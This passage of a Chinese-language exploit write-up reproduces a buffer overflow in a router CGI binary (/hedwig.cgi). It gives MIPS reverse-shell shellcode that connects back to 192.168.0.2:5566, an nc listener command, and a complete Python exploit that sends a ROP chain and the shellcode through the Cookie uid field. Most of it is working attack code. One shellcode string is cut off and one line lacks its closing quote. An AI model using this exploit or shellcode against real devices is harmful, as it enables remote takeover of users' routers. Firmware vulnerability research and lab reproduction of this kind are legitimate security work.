此时是绑定在了192.168.0.2 5566,也就是攻击机器的地址。ip和端口涉及大端小端的问题,参考文章的时候是大端,我说怎么调了这么久都不对…… 要构造为(这是192.168.0.2 5566) 0xbe150002 0x0200a8c0 得到: "\xe0\x01\xa4\x8f\x11\x01\x06\x24\xff\xfe\xc6\x20\x15\xbe\x0e\x3c\x03\x02\xce\x35\xff\xfd\xce\x21\xd4\x01\xae\xaf\x02\x03\x0f\x3c\xc1\xa9\xef\x35\xfd\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\xd8\x01\xaf\xaf\xd4\x01\xa5\x27\x4a\x10\x02\x24\x0c\x01\x01\x01" 最后一步,执行execve("/bin/sh",["/bin/sh","-i"],0),注意,此处的第二个参数是个数组,让其能够交互: lui     $t1, 0x6e69 ori     $t1, $t1, 0x622f sw     $t1, -8($sp) lui     $t9, 0xff97 ori     $t9, $t9, 0x8cd0 not     $t1, $t9 sw     $t1, -4($sp) addiu   $sp, $sp, -8 add     $a0, $sp, $zero lui     $t1, 0x6e69 ori     $t1, $t1, 0x622f sw     $t1, -0xc($sp) lui     $t9, 0xff97 ori     $t9, $t9, 0x8cd0 not     $t1, $t9 sw     $t1, -8($sp) sw     $zero, -4($sp) addiu   $sp, $sp, -0xc slti   $a1, $zero, -1 sw     $a1, -4($sp) addi   $sp, $sp, -4 addiu   $t9, $zero, -5 not     $a1, $t9 add     $a1, $sp, $a1 sw     $a1, -4($sp) addi   $sp, $sp, -4 add     $a1, $sp, $zero slti   $a2, $zero, -1 ori     $v0, $zero, 0xfab syscall 得到: "\x69\x6e\x09\x3c\x2f\x62\x29\x35\xf8\xff\xa9\xaf\x97\xff\x19\x3c\xd0\x8c\x39\x37\x27\x48\x20\x03\xfc\xff\xa9\xaf\xf8\xff\xbd\x27\x20\x20\xa0\x03\x69\x6e\x09\x3c\x2f\x62\x29\x35\xf4\xff\xa9\xaf\x97\xff\x19\x3c\xd0\x8c\x39\x37\x27\x48\x20\x03\xf8\xff\xa9\xaf\xfc\xff\xa0\xaf\xf4\xff\xbd\x27\xff\xff\x0 监听: nc -lvp 5566 发现一个好工具:https://bbs.kanxue.com/thread-275619-1.htm 利用以上shellcode,成功反弹shell: 完整exp如下: import http.client from evilblade import * set("./cgibin") # 创建HTTP连接 conn = http.client.HTTPConnection("192.168.0.1") ## XOR $t0, $t0, $t0,相当于 nop,因为nop是\x00不能发送,会被sprintf截断 nop = "\x26\x40\x08\x01" #libc基地址 libc = 0x77f34000 #gadget gadget = 0x159cc+libc gadget2 = libc+0x158c8 print(p32(gadget)) print(p32(gadget2)) sys = libc + 0x531ff print(p32(sys)) dx(sys) sys_ = '\xffq\xf8w' gad_sp = "\xcc\x99\xf4w" gad_to_s5 = "\xc8\x98\xf4w" stg3_SC ="\x22\x02\x04\x24\xe0\xfd\x84\x20\x22\x02\x05\x24\xe0\xfd\xa5\x20\x22\x02\x06\x24\xde\xfd\xc6\x20\x57\x10\x02\x24\x0c\x01\x01\x01" #socket(2,1,0) stg3_SC += "\xe0\x01\xa2\xaf" #sw $v0,260($sp) stg3_SC += "\xe0\x01\xa4\x8f\x22\x02\x05\x24\xde\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x22\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x23\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01" #dup2 stg3_SC += "\xe0\x01\xa4\x8f\x11\x01\x06\x24\xff\xfe\xc6\x20\x15\xbe\x0e\x3c\x03\x02\xce\x35\xff\xfd\xce\x21\xd4\x01\xae\xaf\x02\x03\x0f\x3c\xc1\xa9\xef\x35\xfd\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\xd8\x01\xaf\xaf\xd4\x01\xa5\x27\x4a\x10\x02\x24\x0c\x01\x01\x01" #connect stg3_SC += "\x69\x6e\x0e\x3c\x2f\x62\xce\x35\x69\x01\x0f\x3c\x30\x74\xef\x35\xfe\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\x2c\x01\xae\xaf\x30\x01\xaf\xaf\x34\x01\xa0\xaf\x2c\x01\xa4\x27\x2d\x69\x0f\x24\x38\x01\xaf\xaf\x40\x01\xa4\xaf\x44\x01\xa0\xaf\x02\x01\x06\x24\xfe\xfe\xc6\x20\x40\x01\xa5\x27 #execve # stg3_SC += "\x24\x02\x02\x9a\x24\x04\x02\x9a\x20\x42\xfd\x76\x20\x84\xfd\x66\x01\x01\x01\x0c" #exit print(stg3_SC.encode(),len(stg3_SC)) payload = cyclic(973).decode() + gad_to_s5 + "cccc"  + gad_sp*8  + "dddd"*4 +  stg3_SC # 设置请求头 headers = { 'Content-Length': '21', 'accept-Encoding': 'deflate', 'Connection': 'close',    'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',    'Host': '192.168.0.1',    'Cookie': 'uid='+payload,    'Content-Type': 'application/x-www-form-urlencoded' } # 发送POST请求 conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers) # 获取响应 pause() response = conn.getresponse() # 打印响应状态码和响应内容 print(response.status, response.read().decode()) # 关闭连接 conn.close() 至此完成复现。